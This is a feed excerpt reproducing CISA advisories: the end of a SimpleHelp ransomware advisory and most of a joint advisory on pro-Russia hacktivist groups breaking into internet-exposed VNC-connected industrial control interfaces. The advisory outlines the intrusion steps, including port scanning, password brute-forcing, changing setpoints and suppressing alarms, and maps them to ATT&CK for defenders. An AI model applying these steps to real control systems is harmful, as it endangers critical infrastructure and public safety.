<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
